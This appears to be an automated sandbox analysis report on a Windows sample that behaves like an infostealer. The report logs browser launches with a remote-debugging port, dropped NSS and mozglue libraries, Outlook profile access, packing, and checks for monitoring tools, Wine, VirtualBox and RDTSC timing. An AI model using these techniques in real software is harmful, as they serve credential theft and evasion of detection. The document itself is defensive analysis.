Source: file.exe, 00000000.00000003.2436123834.000000001D284000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2574836262.000000001D285000.00000004.00000020.00020000.00000000.sdmp, FBKFCFBFIDGCGDHJDBKF.0.dr, BKFHCGIDBAAFHIDHDAAE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2755600250.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2212,i,17521321989125711666,7412979055019799333,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2320,i,15118049081942397489,15205487494085230485,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2772 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6692 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6848 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7412 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7412 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6980 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2212,i,17521321989125711666,7412979055019799333,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2320,i,15118049081942397489,15205487494085230485,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2772 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6692 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6848 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7412 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7412 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6980 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2119168 > 1048576

Source: file.exe

Static PE information: Raw size of utkkpkvx is bigger than: 0x100000 < 0x19a400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2732215385.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2756494293.000000006CCE1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2222130039.0000000004C5B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2732215385.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2756494293.000000006CCE1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2222130039.0000000004C5B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2756254145.000000006CC1F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;utkkpkvx:EW;dfdypqkq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;utkkpkvx:EW;dfdypqkq:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9E3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C9E3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x206177 should be: 0x210d26

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: utkkpkvx
Source: file.exe	Static PE information: section name: dfdypqkq
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA1B536 push ecx; ret

0_2_6CA1B549

Source: file.exe

Static PE information: section name: utkkpkvx entropy: 7.954739782030639

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA455F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CA455F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8A12 second address: 13D8A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1760BC2CD2h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8A2D second address: 13D8A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8A31 second address: 13D8A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8BD6 second address: 13D8BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F176074C089h 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8BFB second address: 13D8C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8D61 second address: 13D8D78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C07Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC90B second address: 13DC930 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1760BC2CC8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnp 00007F1760BC2CCEh 0x00000014 push edx 0x00000015 jg 00007F1760BC2CC6h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC930 second address: 13DC934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC934 second address: 13DC938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC9EE second address: 13DC9FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
